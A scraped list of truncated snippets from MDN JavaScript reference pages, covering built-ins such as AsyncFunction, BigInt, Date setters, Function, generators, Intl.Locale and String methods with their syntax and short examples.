JavaScript, every asynchronous function is actually an AsyncFunction object. Note that AsyncFunction is not a global object. It can be obtained with the following code: Object.getPrototypeOf(async function(){}).constructor Syntax new AsyncFunction([arg1[, arg2[, ...argN]],] functionBody) Parameters arg1, arg2, ... argN Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid
JavaScript identifier or a list of such strings separated with a comma; for example "x", "theValue", or "a,b". functionBody A string containing the
JavaScript statements comprising the function definition. Description async function objects created with the AsyncFunction constructor are parsed...
BigInt.prototype.toString() - JavaScript
sign, not the two's complement of the bigIntObj. Examples Using toString 17n.toString(); // '17' 66n.toString(2); // '1000010' 254n.toString(16); // 'fe' -10n.toString(2); // -1010' -0xffn.toString(2); // '-11111111' Negative-zero BigInt There is no negative-zero BigInt as there are no negative zeros in integers. -0.0 is an IEEE floating-point concept that only appears in the
JavaScript Number type. (-0n).toString(); // '0' BigInt(-0).toString(); // '0' Specifications Specification ECMAScript (ECMA-262)The definition of 'BigInt.prototype.toString()' in that specification. ...
BigInt - JavaScript
BigInt can be used for arbitrarily large integers. Description A BigInt is created by appending n to the end of an integer literal -- 10n -- or by calling the function BigInt(). ...
Boolean.prototype.toString() - JavaScript
please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax bool.toString() Return value A string representing the specified Boolean object. Description The Boolean object overrides the toString method of the Object object; it does not inherit Object.prototype.toString(). For Boolean objects, the toString method returns a string representation of the object.
JavaScript calls the toString() method automatically when a Boolean is to be represented as a text value or when a Boolean is referred to in a string concatenation. For Boolean objects and values, the built-in toString() method returns the string "true" or "false" depending on the value of the boolean object. Examples Using toString() In the following code, flag.toString() returns "true": var flag = ne...
Boolean.prototype.valueOf() - JavaScript
ntribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax bool.valueOf() Return value The primitive value of the given Boolean object Description The valueOf() method of Boolean returns the primitive value of a Boolean object or literal Boolean as a Boolean data type. This method is usually called internally by
JavaScript and not explicitly in code. Examples Using valueOf() x = new Boolean(); myVar = x.valueOf(); // assigns false to myVar Specifications Specification ECMAScript (ECMA-262)The definition of 'Boolean.prototype.valueOf' in that specification. ...
Date.prototype[@@toPrimitive] - JavaScript
at is either of type number or of type string. If hint is "string" or "default", [@@toPrimitive]() tries to call the toString method. If the toString property does not exist, it tries to call the valueOf method and if the valueOf does not exist either, [@@toPrimitive]() throws a TypeError. If hint is "number", [@@toPrimitive]() first tries to call valueOf, and if that fails, it calls toString.
JavaScript calls the [@@toPrimitive]() method to convert an object to a primitive value. You rarely need to invoke the [@@toPrimitive]() method yourself;
JavaScript automatically invokes it when encountering an object where a primitive value is expected. Examples Returning date primitives const testDate = new Date(1590757517834); // "Date Fri May 29 2020 14:05:17 GMT+0100 (British Summer Time)" testDate...
Date.prototype.getTime() - JavaScript
getTime() always uses UTC for time representation. For example, a client browser in one timezone, getTime() will be the same as a client browser in any other timezone. You can use this method to help assign a date and time to another Date object. This method is functionally equivalent to the valueOf() method. The source for this interactive example is stored in a GitHub repository. ...
Date.prototype.getYear() - JavaScript
y getYear() is between 0 and 99. For example, if the year is 1976, getYear() returns 76. For years less than 1900, the value returned by getYear() is less than 0. For example, if the year is 1800, getYear() returns -100. To take into account years before and after 2000, you should use getFullYear() instead of getYear() so that the year is specified in full. Backward compatibility Behavior in
JavaScript 1.2 and earlier The getYear() method returns either a 2-digit or 4-digit year: For years between and including 1900 and 1999, the value returned by getYear() is the year minus 1900. For example, if the year is 1976, the value returned is 76. For years less than 1900 or greater than 1999, the value returned by getYear() is the four-digit year. For example, if the year is 1856, the value retur...
Date.prototype.setHours() - JavaScript
70 00:00:00 UTC until the time represented by the updated Date instance. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax dateObj.setHours(hoursValue[, minutesValue[, secondsValue[, msValue]]]) Versions prior to
JavaScript 1.3 dateObj.setHours(hoursValue) Parameters hoursValue Ideally, an integer between 0 and 23, representing the hour. If a value greater than 23 is provided, the datetime will be incremented by the extra hours. minutesValue Optional. Ideally, an integer between 0 and 59, representing the minutes. If a value greater than 59 is provided, the datetime will be incremented by the extra minutes. ...
Date.prototype.setMinutes() - JavaScript
e setMinutes() method sets the minutes for a specified date according to local time. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax dateObj.setMinutes(minutesValue[, secondsValue[, msValue]]) Versions prior to
JavaScript 1.3 dateObj.setMinutes(minutesValue) Parameters minutesValue An integer between 0 and 59, representing the minutes. secondsValue Optional. An integer between 0 and 59, representing the seconds. If you specify the secondsValue parameter, you must also specify the minutesValue. msValue Optional. A number between 0 and 999, representing the milliseconds. If you specify the msValue paramete...
Date.prototype.setMonth() - JavaScript
So, 0 represents January, 11 represents December, -1 represents December of the previous year, and 12 represents January of the following year. dayValue Optional. An integer from 1 to 31, representing the day of the month. ...
Date.prototype.setSeconds() - JavaScript
The setSeconds() method sets the seconds for a specified date according to local time. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax dateObj.setSeconds(secondsValue[, msValue]) Versions prior to
JavaScript 1.3 dateObj.setSeconds(secondsValue) Parameters secondsValue An integer between 0 and 59, representing the seconds. msValue Optional. A number between 0 and 999, representing the milliseconds. Return value The number of milliseconds between 1 January 1970 00:00:00 UTC and the updated date. Description If you do not specify the msValue parameter, the value returned from the getMilliseconds() metho...
Date.prototype.toString() - JavaScript
oString() method is automatically called when a date is to be represented as a text value, e.g. console.log(new Date()), or when a date is used in a string concatenation, such as var today = 'Today is ' + new Date(). toString() is a generic method, it does not require that its this is a Date instance. However, it must have an internal [[TimeValue]] property that can't be constructed using native
javascript, so it's effectively limited to use with Date instances. If called on a non-Date instance, a TypeError is thrown. Examples Using toString() The following assigns the toString() value of a Date object to myVar: var x = new Date(); var myVar = x.toString(); // assigns a string value to myVar in the same format as: // Mon Sep 08 1998 14:36:22 GMT-0700 (PDT) Specificat...
Date.prototype.valueOf() - JavaScript
valueOf() Return value The number of milliseconds between 1 January 1970 00:00:00 UTC and the given date. Description The valueOf() method returns the primitive value of a Date object as a number data type, the number of milliseconds since midnight 01 January, 1970 UTC. This method is functionally equivalent to the Date.prototype.getTime() method. This method is usually called internally by
JavaScript and not explicitly in code. Examples Using valueOf() var x = new Date(56, 6, 17); var myVar = x.valueOf(); // assigns -424713600000 to myVar Specifications Specification ECMAScript (ECMA-262)The definition of 'Date.prototype.valueOf' in that specification. ...
Error.prototype.stack - JavaScript
olon, and, if there is a file location, the line number. (Note that the Error object also possesses the fileName, lineNumber and columnNumber properties for retrieving these from the error thrown (but only the error, and not its trace).) Note that this is the format used by Firefox. There is no standard formatting. However, Safari 6+ and Opera 12- use a very similar format. Browsers using the V8
JavaScript engine (such as Chrome, Opera 15+, Android Browser) and IE10+, on the other hand, uses a different format (see the archived MSDN error.stack docs). Argument values in the stack: Prior to Firefox 14, the function name would be followed by the argument values converted to string in parentheses immediately before the at (@) sign. While an object (or array, etc.) would appear in the converted form "...
EvalError() constructor - JavaScript
Syntax new EvalError([message[, fileName[, lineNumber]]]) Parameters message Optional. Human-readable description of the error fileName Optional. The name of the file containing the code that caused the exception lineNumber Optional. The line number of the code that caused the exception Examples EvalError is not used in the current ECMAScript specification and will thus not be thrown by the runtime. ...
EvalError - JavaScript
Constructor EvalError() Creates a new EvalError object. Instance properties EvalError.prototype.message Error message. Although ECMA-262 specifies that EvalError should provide its own message property, in SpiderMonkey, it inherits Error.prototype.message. EvalError.prototype.name Error name. Inherited from Error. EvalError.prototype.fileName Path to file that raised this error. Inherited from Error. EvalError.prototype.lineNumber Line number in file that raised this error. ...
Function.prototype.apply() - JavaScript
out equal to Math.max(numbers[0], ...) // or Math.max(5, 6, ...) let min = Math.min.apply(null, numbers); // vs. simple loop based algorithm max = -Infinity, min = +Infinity; for (let i = 0; i < numbers.length; i++) { if (numbers[i] > max) { max = numbers[i]; } if (numbers[i] < min) { min = numbers[i]; } } But beware: by using apply this way, you run the risk of exceeding the
JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (that is, more than tens of thousands of arguments) varies across engines. (The
JavaScriptCore engine has hard-coded argument limit of 65536. This is because the limit (and indeed, even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perni...
Function.name - JavaScript
he interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of Function.name Writable no Enumerable no Configurable yes Note that in non-standard, pre-ES2015 implementations the configurable attribute was false as well.
JavaScript compressors and minifiers Warning: Be careful when using Function.name and source code transformations, such as those carried out by
JavaScript compressors (minifiers) or obfuscators. These tools are often used as part of a
JavaScript build pipeline to reduce the size of a program prior to deploying it to production. Such transformations often change a function's name at build-time. Source co...
Function.prototype.toSource() - JavaScript
The toSource() method returns a string representing the source code of the object. This method is usually called internally by
JavaScript and not explicitly in code. You can call toSource() while debugging to examine the contents of an object. Syntax function.toSource(); Return value A string representing the source code of the object. Examples Native functions For the built-in Function object, toSource() returns the following string indicating that the source code is not available: function Function() { [native code] } Custom functions For custom functions, toSource() returns the
JavaScript source that defines the object as a string. // For example: function hello() { console.log("Hello, World!"); } hello.toSource(); // Results in: "function hello() { console.log(...
Function.prototype.toString() - JavaScript
us a pull request. Syntax function.toString() Return value A string representing the source code of the function. Description The Function object overrides the toString method inherited from Object; it does not inherit Object.prototype.toString. For user-defined Function objects, the toString method returns a string containing the source text segment which was used to define the function.
JavaScript calls the toString method automatically when a Function is to be represented as a text value, e.g. when a function is concatenated with a string. The toString() method will throw a TypeError exception ("Function.prototype.toString called on incompatible object"), if its this value object is not a Function object. Function.prototype.toString.call('foo'); // TypeError If the toString() method i...
Function - JavaScript
This can be seen with the code (function(){}).constructor === Function, which returns true. Constructor Function() Creates a new Function object. Calling the constructor directly can create functions dynamically but suffers from security and similar (but far less significant) performance issues to eval. However, unlike eval, the Function constructor creates functions that execute in the global scope only. Instance properties Function.arguments An array corresponding to the arguments passed to a function. This is deprecated as a property of Function. Use the arguments object (available within the function) instead. Function.caller Specifies the function that invoked the currently executing function. ...
Generator.prototype.next() - JavaScript
d to variable. Return value An Object with two properties: done (boolean) Has the value true if the iterator is past the end of the iterated sequence. In this case value optionally specifies the return value of the iterator. Has the value false if the iterator was able to produce the next value in the sequence. This is equivalent of not specifying the done property altogether. value Any
JavaScript value returned by the iterator. Can be omitted when done is true. Examples Using next() The following example shows a simple generator and the object that the next method returns: function* gen() { yield 1; yield 2; yield 3; } const g = gen(); // "Generator { }" g.next(); // "Object { value: 1, done: false }" g.next(); // "Object { value: 2, done: false }" g.next(); // ...
Generator.prototype.throw() - JavaScript
ror. Return value An Object with two properties: done (boolean) Has the value true if the iterator is past the end of the iterated sequence. In this case value optionally specifies the return value of the iterator. Has the value false if the iterator was able to produce the next value in the sequence. This is equivalent of not specifying the done property altogether. value Any
JavaScript value returned by the iterator. Can be omitted when done is true. Examples Using throw() The following example shows a simple generator and an error that is thrown using the throw method. An error can be caught by a try...catch block as usual. function* gen() { while(true) { try { yield 42; } catch(e) { console.log('Error caught!'); } } } const g = gen(); g.next...
GeneratorFunction - JavaScript
The GeneratorFunction constructor creates a new generator function object. In
JavaScript, every generator function is actually a GeneratorFunction object. Note that GeneratorFunction is not a global object. It could be obtained by evaluating the following code. Object.getPrototypeOf(function*(){}).constructor Syntax new GeneratorFunction ([arg1[, arg2[, ...argN]],] functionBody) Parameters arg1, arg2, ... argN Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid
JavaScript identifier or a list of such strings separated with a comma; for example "x", "theValue", or "a,b". functionBody A string containing the
JavaScript statements comprising the function definition. Description generator function objects created with the Generator...
Infinity - JavaScript
f the global object. In other words, it is a variable in global scope. The initial value of Infinity is Number.POSITIVE_INFINITY. The value Infinity (positive infinity) is greater than any other number. This value behaves slightly differently than mathematical infinity; see Number.POSITIVE_INFINITY for details. As defined by the ECMAScript 5 specification, Infinity is read-only (implemented in
JavaScript 1.8.5 / Firefox 4). Examples Using Infinity console.log(Infinity ); /* Infinity */ console.log(Infinity + 1 ); /* Infinity */ console.log(Math.pow(10, 1000)); /* Infinity */ console.log(Math.log(0) ); /* -Infinity */ console.log(1 / Infinity ); /* 0 */ console.log(1 / 0 ); /* Infinity */ Specifications Specification ECMAScript (ECMA...
InternalError() constructor - JavaScript
For example: "InternalError: too much recursion". Syntax new InternalError([message[, fileName[, lineNumber]]]) Parameters message Optional. Human-readable description of the error fileName Optional. The name of the file containing the code that caused the exception lineNumber Optional. ...
InternalError - JavaScript
Example cases are mostly when something is too large, e.g.: "too many switch cases", "too many parentheses in regular expression", "array initializer too large", "too much recursion". Constructor InternalError() Creates a new InternalError object. Instance properties InternalError.prototype.message Error message. Inherited from Error. InternalError.prototype.name Error name. Inherited from Error. InternalError.prototype.fileName Path to file that raised this error. Inherited from Error. InternalError.prototype.lineNumber Line number in file that raised this error. Inherited from Error. ...
Intl.Locale.prototype.collation - JavaScript
Description Collation is the process of ordering strings of characters. It is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database. While the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language. The collation property helps to make it easier for
JavaScript programmers to access the collation type used by a particular locale. Below is a table with the available collation types, taken from the Unicode collation specification. Valid collation types Collation Type Description big5han Pinyin ordering for Latin, big5 charset ordering for CJK characters (used in Chinese) compat A previous version of the ordering,...
Intl.Locale.prototype.hourCycle - JavaScript
The Intl.Locale.prototype.hourCycle property is an accessor property that returns the time keeping format convention used by the locale. Description There are 2 main types of time keeping conventions (clocks) used around the world: the 12 hour clock and the 24 hour clock. The hourCycle property makes it easier for
JavaScript programmers to access the clock type used by a particular locale. Like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string. The hour cycle type can have several different values, which are listed in the table below. Valid hour cycle types Hour cycle type Description h12 Hour system using 1-12; corresponds to 'h' in patterns. The 12 hour clock, with midnight starting at 12:00 am...
Intl.Locale.prototype.maximize() - JavaScript
entifier subtags based on an incomplete langauage ID. The Add Likely Subtags algorithm gives us this functionality. For instance, given the language ID "en", the algorithm would return "en-Latn-US", since English can only be written in the Latin script, and is most likely to be used in the United States, as it is the largest English-speaking country in the world. This functionality is provided to
JavaScript programmers via the maximize() method. maximize() only affects the main subtags that comprise the language identifier: language, script, and region subtags. Other subtags after the "-u" in the locale indentifier are called extension subtags and are not affected by the maximize() method. Examples of these subtags include Locale.hourCycle, Locale.calendar, and Locale.numeric. Examples Using maxim...
Intl.Locale.prototype.region - JavaScript
n essential part of the locale identifier, as it places the locale in a specific area of the world. Knowing the locale's region is vital to identifying differences between locales. For example, English is spoken in the United Kingdom and the United States of America, but there are differences in spelling and other language conventions between those two countries. Knowing the locale's region helps
JavaScript programmers make sure that the content from their sites and applications is correctly displayed when viewed from different areas of the world. Examples Setting the region in the locale identifer string argument The region is the third part of a valid Unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the Locale constructor. The r...
Intl.Locale.prototype.toString() - JavaScript
ns the Locale's full locale identifier string. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax locale.toString() Return value The locale's Unicode locale identifier string. Description The Locale object is a
JavaScript representation of a concept Unicode locale identifier. Information about a particular locale (language, script, calendar type, etc.) can be encoded in a locale identifier string. To make it easier to work with these locale identifiers, the Locale object was introduced to
JavaScript. Calling the toString method on a Locale object will return the identifier string for that particular Locale. The to...
Intl - JavaScript
are registered in the IANA Language Subtag Registry. This registry is periodically updated over time, and implementations may not always be up to date, so be careful not to rely too much on tags being universally supported. BCP 47 also allows for extensions, each consisting of a single digit or letter (other than "x") and one or more two- to eight-letter or digit tags, all separated by hyphens.
JavaScript internationalization functions use the "u" (Unicode) extension, which can be used to request additional customization of Collator, NumberFormat, or DateTimeFormat objects. Examples: "de-DE-u-co-phonebk": Use the phonebook variant of the German sort order, which interprets umlauted vowels as corresponding character pairs: a -> ae, o -> oe, u -> ue. "th-TH-u-nu-thai": Use Thai digits (?, ?, ?, ...
Map - JavaScript
cluding functions, objects, or any primitive). The keys of an Object must be either a String or a Symbol. Key Order The keys in Map are ordered. Thus, when iterating over it, a Map object returns keys in order of insertion. The keys of an Object are not ordered. Note: Since ECMAScript 2015, objects do preserve creation order for string and Symbol keys. In
JavaScript engines that comply with the ECMAScript 2015 spec, iterating over an object with only string keys will yield the keys in order of insertion. Size The number of items in a Map is easily retrieved from its size property. The number of items in an Object must be determined manually. Iteration A Map is an iterable, so it can be directly iterated. Iterating over ...
Math.clz32() - JavaScript
first one integer |= integer << 16; integer |= integer << 8; integer |= integer << 4; integer |= integer << 2; integer |= integer << 1; // 2. Now, inversing the bits reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // No shift-filling-in-with-ones operator is available in //
JavaScript, so the below code is the fastest return ctrz(~integer); /* Alternate implementation for demonstrational purposes: // 1. erase all the higher bits after the first zero integer &= (integer << 16) | 0xffff; integer &= (integer << 8 ) | 0x00ff; integer &= (integer << 4 ) | 0x000f; integer &= (integer << 2 ) | 0x0003; integer &= (integer << 1 ) | 0x00...
Math.log() - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Math.random() - JavaScript
en or reset by the user. Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method. Syntax Math.random() Return value A floating-point, pseudo-random number between 0 (inclusive) and 1 (exclusive). Examples Note that as numbers in
JavaScript are IEEE 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for Math.random() itself) aren't exact. If extremely large bounds are chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound. Getting a random number between 0 (inclusive) and 1 (exclusive) function getRandom(...
Math.random() - JavaScript
en or reset by the user. Math.random() does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the window.crypto.getRandomValues() method. Syntax Math.random() Return value A floating-point, pseudo-random number between 0 (inclusive) and 1 (exclusive). Examples Note that as numbers in
JavaScript are IEEE 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for Math.random() itself) aren't exact. If extremely large bounds are chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound. Getting a random number between 0 (inclusive) and 1 (exclusive) function getRandom(...
Number.MAX_VALUE - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Property attributes of Number.MAX_VALUE Writable no Enumerable no Configurable no Description The MAX_VALUE property has a value of approximately 1.79E+308, or 21024. Values larger than MAX_VALUE are represented as Infinity. ...
Number.prototype.toSource() - JavaScript
toSource() Return value A string representing the source code of the object. Examples Native function For the built-in Number object, toSource() returns the following string indicating that the source code is not available: function Number() { [native code] } For instances of Number, toSource() returns a string representing the source code. This method is usually called internally by
JavaScript and not explicitly in web code. Specifications Not part of any standard. ...
Number.prototype.valueOf() - JavaScript
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax numObj.valueOf() Return value A number representing the primitive value of the specified Number object. Description This method is usually called internally by
JavaScript and not explicitly in web code. Examples Using valueOf let numObj = new Number(10) console.log(typeof numObj) // object let num = numObj.valueOf() console.log(num) // 10 console.log(typeof num) // number Specifications Specification ECMAScript (ECMA-262)The definition of 'Number.prototype.valueOf' in that specification. ...
Object.create() - JavaScript
new Error("This browser's implementation of Object.create is a shim and doesn't support a second argument."); } function F() {} F.prototype = proto; return new F(); }; } Examples Classical inheritance with Object.create() Below is an example of how to use Object.create() to achieve classical inheritance. This is for a single inheritance, which is all that
JavaScript supports. // Shape - superclass function Shape() { this.x = 0; this.y = 0; } // superclass method Shape.prototype.move = function(x, y) { this.x += x; this.y += y; console.info('Shape moved.'); }; // Rectangle - subclass function Rectangle() { Shape.call(this); // call super constructor. } // subclass extends superclass Rectangle.prototype = Object.create(Shape.prototype); //If y...
Object.defineProperty() - JavaScript
ype of this property descriptor may be changed and if the property may be deleted from the corresponding object. Defaults to false. enumerable true if and only if this property shows up during enumeration of the properties on the corresponding object. Defaults to false. A data descriptor also has the following optional keys: value The value associated with the property. Can be any valid
JavaScript value (number, object, function, etc). Defaults to undefined. writable true if and only if the value associated with the property may be changed with an assignment operator. Defaults to false. An accessor descriptor also has the following optional keys: get A function which serves as a getter for the property, or undefined if there is no getter. When the property is accessed, this funct...
Object.getOwnPropertyDescriptor() - JavaScript
Object.getOwnPropertyDescriptor(obj, prop) Parameters obj The object in which to look for the property. prop The name or Symbol of the property whose description is to be retrieved. Return value A property descriptor of the given property if it exists on the object, undefined otherwise. Description This method permits examination of the precise description of a property. A property in
JavaScript consists of either a string-valued name or a Symbol and a property descriptor. Further information about property descriptor types and their attributes can be found in Object.defineProperty(). A property descriptor is a record with some of the following attributes: value The value associated with the property (data descriptors only). writable true if and only if the value associated with t...
Object.getOwnPropertyDescriptors() - JavaScript
a given object. Syntax Object.getOwnPropertyDescriptors(obj) Parameters obj The object for which to get all own property descriptors. Return value An object containing all own property descriptors of an object. Might be an empty object, if there are no properties. Description This method permits examination of the precise description of all own properties of an object. A property in
JavaScript consists of either a string-valued name or a Symbol and a property descriptor. Further information about property descriptor types and their attributes can be found in Object.defineProperty(). A property descriptor is a record with some of the following attributes: value The value associated with the property (data descriptors only). writable true if and only if the value associated with t...
Object.prototype.hasOwnProperty() - JavaScript
oop that hasOwnProperty itself is confined strictly to enumerable items (as with Object.getOwnPropertyNames()). var buz = { fog: 'stack' }; for (var name in buz) { if (buz.hasOwnProperty(name)) { console.log('this is fog (' + name + ') for sure. ...
Object.setPrototypeOf() - JavaScript
The Object.setPrototypeOf() method sets the prototype (i.e., the internal [[Prototype]] property) of a specified object to another object or null. Warning: Changing the [[Prototype]] of an object is, by the nature of how modern
JavaScript engines optimize property accesses, currently a very slow operation in every browser and
JavaScript engine. In addition, the effects of altering inheritance are subtle and far-flung, and are not limited to simply the time spent in the Object.setPrototypeOf(...) statement, but may extend to any code that has access to any object whose [[Prototype]] has been altered. Because this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally). Until engine developers address this issue, if you are co...
Promise - JavaScript
alled, so there is no race condition between an asynchronous operation completing and its handlers being attached. As the Promise.prototype.then() and Promise.prototype.catch() methods return promises, they can be chained. Not to be confused with: Several other languages have mechanisms for lazy evaluation and deferring a computation, which they also call "promises", e.g. Scheme. Promises in
JavaScript represent processes that are already happening, which can be chained with callback functions. If you are looking to lazily evaluate an expression, consider the arrow function with no arguments: f = () => expression to create the lazily-evaluated expression, and f() to evaluate. Note: A promise is said to be settled if it is either fulfilled or rejected, but not pending. You will also hear the ...
Proxy - JavaScript
t value when the property name is not in the object. It is using the get handler. const handler = { get: function(obj, prop) { return prop in obj ? obj[prop] : 37; } }; const p = new Proxy({}, handler); p.a = 1; p.b = undefined; console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 No-op forwarding proxy In this example, we are using a native
JavaScript object to which our proxy will forward all operations that are applied to it. const target = {}; const p = new Proxy(target, {}); p.a = 37; // operation forwarded to the target console.log(target.a); // 37 // (The operation has been properly forwarded!) Note that while this "no-op" works for
JavaScript objects, it does not work for native browser objects like DOM Elements. Validation Wi...
String.prototype.includes() - JavaScript
en string; otherwise, false if not. Description This method lets you determine whether or not a string includes another string. Case-sensitivity The includes() method is case sensitive. For example, the following expression returns false: 'Blue Whale'.includes('blue') // returns false Polyfill This method has been added to the ECMAScript 2015 specification and may not be available in all
JavaScript implementations yet. However, you can easily polyfill this method: if (!String.prototype.includes) { String.prototype.includes = function(search, start) { 'use strict'; if (search instanceof RegExp) { throw TypeError('first argument must not be a RegExp'); } if (start === undefined) { start = 0; } return this.indexOf(search, start) !== -1; }; } Examples Using i...
String length - JavaScript
The length property of a String object contains the length of the string, in UTF-16 code units. length is a read-only data property of string instances. Description This property returns the number of code units in the string. UTF-16, the string format used by
JavaScript, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string. ECMAScript 2016 (ed. 7) established a maximum length of 2^53 - 1 elements. Previously, no maximum length was specified. In Firefox, strings have a maximum length of 2**30 - 2 (~1GB). In versions prior to Firefox 65, the maximum length was 2**28 - 1 (~256MB). For an empty string, l...
String.prototype.match() - JavaScript
= "Nothing will come of nothing."; str.match(); // returns [""] A non-RegExp object as the parameter When the regexp parameter is a string or a number, it is implicitly converted to a RegExp by using new RegExp(regexp). If it is a positive number with a positive sign, RegExp() will ignore the positive sign. const str1 = "NaN means not a number. Infinity contains -Infinity and +Infinity in
JavaScript.", str2 = "My grandfather is 65 years old and My grandmother is 63 years old.", str3 = "The contract was declared null and void."; str1.match("number"); // "number" is a string. returns ["number"] str1.match(NaN); // the type of NaN is the number. returns ["NaN"] str1.match(Infinity); // the type of Infinity is the number. returns ["Infinity"] str1.match(+Infinity); // returns...
String.prototype.matchAll() - JavaScript
hAll(regexp) Parameters regexp A regular expression object. If a non-RegExp object obj is passed, it is implicitly converted to a RegExp by using new RegExp(obj). The RegExp object must have the /g flag, otherwise a TypeError will be thrown. Return value An iterator (which is not a restartable iterable). ...
String.prototype.padStart() - JavaScript
alue is " " (U+0020 'SPACE'). Return value A String of the specified targetLength with padString applied from the start. Examples Basic examples 'abc'.padStart(10); // " abc" 'abc'.padStart(10, "foo"); // "foofoofabc" 'abc'.padStart(6,"123465"); // "123abc" 'abc'.padStart(8, "0"); // "00000abc" 'abc'.padStart(1); // "abc" Fixed width string number conversion //
Javascript version of: (unsigned) // printf "%0*d" width num function leftFillNum(num, targetLength) { return num.toString().padStart(targetLength, 0); } const num = 123; console.log(leftFillNum(num, 5)); // expected output: "00123" Specifications Specification ECMAScript (ECMA-262)The definition of 'String.prototype.padStart' in that specification. ...
String.prototype.repeat() - JavaScript
ting the number of times to repeat the string. Return value A new string containing the specified number of copies of the given string. Exceptions RangeError: repeat count must be non-negative. RangeError: repeat count must be less than infinity and not overflow maximum string size. Polyfill This method has been added to the ECMAScript 2015 specification and may not be available in all
JavaScript implementations yet. However, you can polyfill String.prototype.repeat() with the following snippet: if (!String.prototype.repeat) { String.prototype.repeat = function(count) { 'use strict'; if (this == null) throw new TypeError('can\'t convert ' + this + ' to object'); var str = '' + this; // To convert string to integer. count = +count; // Check NaN if (cou...
String.prototype.split() - JavaScript
ned array. If separator is an empty string (""), str is converted to an array of each of its UTF-16 "characters". Warning: When the empty string ("") is used as a separator, the string is not split by user-perceived characters (grapheme clusters) or unicode characters (codepoints), but by UTF-16 codeunits. This destroys surrogate pairs. See "How do you get a string to a character array in
JavaScript?" on StackOverflow. limit Optional A non-negative integer limiting the number of pieces. If provided, splits the string at each occurrence of the specified separator, but stops when limit entries have been placed in the array. Any leftover text is not included in the array at all. The array may contain fewer entries than limit if the end of the string is reached before the limit is r...
String.prototype.startsWith() - JavaScript
t which to begin searching for searchString. Defaults to 0. Return value true if the given characters are found at the beginning of the string; otherwise, false. Description This method lets you determine whether or not a string begins with another string. This method is case-sensitive. Polyfill This method has been added to the ECMAScript 2015 specification and may not be available in all
JavaScript implementations yet. However, you can polyfill String.prototype.startsWith() with the following snippet: if (!String.prototype.startsWith) { Object.defineProperty(String.prototype, 'startsWith', { value: function(search, rawPos) { var pos = rawPos > 0 ? rawPos|0 : 0; return this.substring(pos, pos + search.length) === search; } }); } A more robus...
String.prototype.toSource() - JavaScript
string representing the source code of the calling object. Examples Native function For the built-in String object, toSource() returns the following string indicating that the source code is not available: function String() { [native code] } For instances of String or string literals, toSource() returns a string representing the source code. This method is usually called internally by
JavaScript and not explicitly in web code. Specifications Not part of any standard. ...
String.prototype.toUpperCase() - JavaScript
equest. Syntax str.toUpperCase() Return value A new string representing the calling string converted to upper case. Exceptions TypeError When called on null or undefined, for example, String.prototype.toUpperCase.call(undefined). Description The toUpperCase() method returns the value of the string converted to uppercase. This method does not affect the value of the string itself since
JavaScript strings are immutable. Examples Basic usage console.log('alphabet'.toUpperCase()); // 'ALPHABET' Conversion of non-string this values to strings This method will convert any non-string value to a string, when you set its this to a value that is not a string: const a = String.prototype.toUpperCase.call({ toString: function toString() { return 'abcdef'; } }); const b = String.protot...
String.prototype.valueOf() - JavaScript
The valueOf() method returns the primitive value of a String object. Syntax str.valueOf() Return value A string representing the primitive value of a given String object. Description The valueOf() method of String returns the primitive value of a String object as a string data type. This value is equivalent to String.prototype.toString(). This method is usually called internally by
JavaScript and not explicitly in code. Examples Using valueOf() var x = new String('Hello world'); console.log(x.valueOf()); // Displays 'Hello world' Specifications Specification ECMAScript (ECMA-262)The definition of 'String.prototype.valueOf' in that specification. ...
Symbol.prototype[@@toPrimitive] - JavaScript
The [@@toPrimitive]() method converts a Symbol object to a primitive value. Syntax Symbol()[Symbol.toPrimitive](hint) Return value The primitive value of the specified Symbol object. Description The [@@toPrimitive]() method of Symbol returns the primitive value of a Symbol object as a Symbol data type. The hint argument is not used.
JavaScript calls the [@@toPrimitive]() method to convert an object to a primitive value. You rarely need to invoke the [@@toPrimitive]() method yourself;
JavaScript automatically invokes it when encountering an object where a primitive value is expected. Examples Using @@toPrimitive const sym = Symbol("example"); sym === sym[Symbol.toPrimitive](); // true Specifications Specification ECMAScript (ECMA-262)The definition of 'Symbol.prototyp...
Symbol.asyncIterator - JavaScript
